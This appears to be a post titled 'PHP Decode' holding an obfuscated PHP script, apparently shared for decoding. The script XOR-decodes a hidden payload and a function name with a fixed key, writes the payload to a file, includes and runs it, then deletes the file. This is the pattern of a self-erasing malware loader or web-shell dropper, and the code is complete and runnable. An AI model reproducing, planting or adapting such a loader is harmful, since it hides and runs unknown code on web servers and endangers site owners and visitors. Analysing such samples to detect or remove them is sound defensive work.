PHP Decode

<?php 
 
function mVtuZBlDQDk($CisWoSz, $hpfZCFiUH) 
{ 
    $CisWoSz = urldecode($CisWoSz); 
    $krQCiY = str_split($CisWoSz); 
    $action = ""; 
    for ($i = 0; $i < strlen($CisWoSz);$i++) { 
        $action .= $krQCiY[$i] ^ $hpfZCFiUH[$i%7]; 
    } 
    return $action; 
} 
 
$i="oW2%1B%04%5C%7E%13%01%2C%1A%2B%22%11%27%40e%16%06%23%1B%217.%1C%13vXs%26%17%3F8xO%5Eb%02%1A%1A8%2B+%0D6%5BS%3D%1B47%27%01%06%3E%06+OnSDxO%5Eb%02%1A%1A8%2B+%0D6%5BS%3C%15%2B7%27%0B%112%01%27%01-%1D%2B%25%1D%3E%0De_Ta%5DheH3%074%00%0C%1C%2B%1E%11%0E%18%3A%05%2B%07%5Ca%5DheH%7E%7E%5C%7E5%1D%2C%10%008%1B%3DH1%1B%10%21%5Cw%0C%23%07%15%7DTw%03%27%0A%5D%5C%7E%28eHSTqTw%077%07%2B5%15%27%09bNTsVheHSTqT5%070S%5Cu%1DsUbCOqP%3AH%7ES%07%25%06%3F%0D%2C%5BP5%15%27%09kH%5Dq%0F%5EbbSTqTsHb%15%1B%23T%7BL%28SIqDhHf%19TmT+%1C0%1F%11%3F%5Cw%03%27%0A%5DqRuHf%1ATmT+%1C0%1F%11%3F%5Cw%0C%23%07%15xOsL%28X_%7DTw%01iX%5Dq%0F%5EbbSTqTsHbSTqTw%077%07%2B5%15%27%09b%5DIq%17%3B%1Aj%1C%065%5Cw%0C%23%07%15%0AP%3A5kS%2Aq%1B%21%0CjW%1F4%0D%08L%28.%5DxO%5EbbSTqTsHb%0Ey%5BTsHb%0Ey%5BTsHb%01%11%25%01%21%06bW%1B%24%00%0C%0C%23%07%15jyY%15Oy%1D7T%7B%011%00%11%25%5Cw7%056+%0ABd%5Bv%40A%0C%5DzeH%08y%5BTsHb%17%1D4%5C%3E%0Cw%5B%40fCbZkZO%5C%7E.eHW%004%19%23U%23%01%060%0D%0C%05%27%01%134%5Cw7%01%3C%3B%1A%3D%16DbW%2B%01%3B%00%3CkHy%5B%12%3C%1A%27%12%179T%7BL6%16%19%21T2%1BbW%100%0027%29%16%0DqImHf%17%15%25%15zH9%7E%7EqTsHf%17%15%25%15sUb3%01%3F%076%1A%2B%12%188%0E6%401%1B%10%21%5C+%00%26%03%5C3%15+%0DtG%2B5%110%07%26%16%5Cu%102%1C%23ZXqS%2AQr%17M%26%156Z+%05G%23%1F4%1A2%1F%0E%29%01%22%0C%23%09G2%03f%1Ap%14L8LtAnSP5%15%27%09%1D%18%11%28%5DzSOyTqTs%01%24S%5C8%07+%0D6%5BP5%15%27%09%19T%15%3AS%0EAkS%0F%5C%7EsHbSTqTs%01%24S%5Cu%102%1C%23%28S0S%0EH%7FNTv%1DtAb%08y%5BTsHbSTqTsHbSP8TnH%23%01%060%0D%7BeHSTqTsHbSTqTsHbSTv%04%25ObNJq4%23%002%05%11%23%07%3A%07%2C%5B%5D%7DyYHbSTqTsHbSTqTsHbT%07%27SsU%7CSS%60ZcEsTX%5C%7EsHbSTqTsHbSTxO%5EbbSTqTsHbSTqT6%0B%2A%1CT%11%076%1A%2B%12%188%0E6%40f%1A%5DjyYHbSTqTsH%3FS%11%3D%076%01%24S%5Cu%102%1C%23%28S0S%0EH%7FNTv%11tAb%08y%5BTsHbSTqTsHbS%11%27%15%3F%40f%17%15%25%15%08O%26T%29xO%5EbbSTqTsHb%0Ey%5BTsHbSTqT6%10%2B%07%5CxO%5EbbSTq%09%5Eb%3F"; 
$j="5%01.%16%2B%21%01%277%21%1C%1A%25%11%3D%1C1"; 
 
$DVgQzUaz="ShBstQtHvjgU"; 
 
$k = mVtuZBlDQDk($i, $DVgQzUaz); 
$f = mVtuZBlDQDk($j, $DVgQzUaz); 
$f($DVgQzUaz, $k); 
include_once ($DVgQzUaz); 
unlink($DVgQzUaz); 
exit(); ?>